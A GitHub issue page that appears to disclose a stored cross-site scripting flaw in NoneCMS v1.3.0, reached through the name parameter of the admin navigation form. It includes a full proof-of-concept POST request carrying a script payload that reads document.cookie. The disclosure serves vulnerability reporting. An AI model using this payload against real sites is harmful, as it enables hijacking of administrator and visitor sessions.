Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

NoneCMS V1.3.0 has a stored XSS vulnerability in admin/nav/add.html #33

Open
ghost opened this issue Jun 3, 2020 · 0 comments
Open

NoneCMS V1.3.0 has a stored XSS vulnerability in admin/nav/add.html #33

ghost opened this issue Jun 3, 2020 · 0 comments

Comments

@ghost
Copy link

@ghost ghost commented Jun 3, 2020

Cross-site scripting (XSS) vulnerability in admin/nav/add.html in noneCMS v1.3.0 allows remote authenticated attackers to inject arbitrary web script or HTML via the name parameter.

A remote user who has the right to modify navigation management can inject arbitrary web script or HTML in admin/nav/add.html via the name parameter to cause xss attack.

PoC:

POST /nonecms/public/index.php/admin/nav/add.html HTTP/1.1
Host: 172.23.64.227:88
Content-Length: 198
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.23.64.227:88
Referer: http://172.23.64.227:88/nonecms/public/index.php/admin/nav/add.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; PHPSESSID=85soeplgk5l5aha46lffd2okk0
Connection: close

modelid=1&name=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&pid=45&template_list=List_article.html&template_show=Show_article.html&ename=&position=1&keywords=&description=&sort=&status=0&type=0

After that, when other administrator visits the background and it will cause XSS attack:

When front end users visit this column, it can also cause xss attack:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
0 participants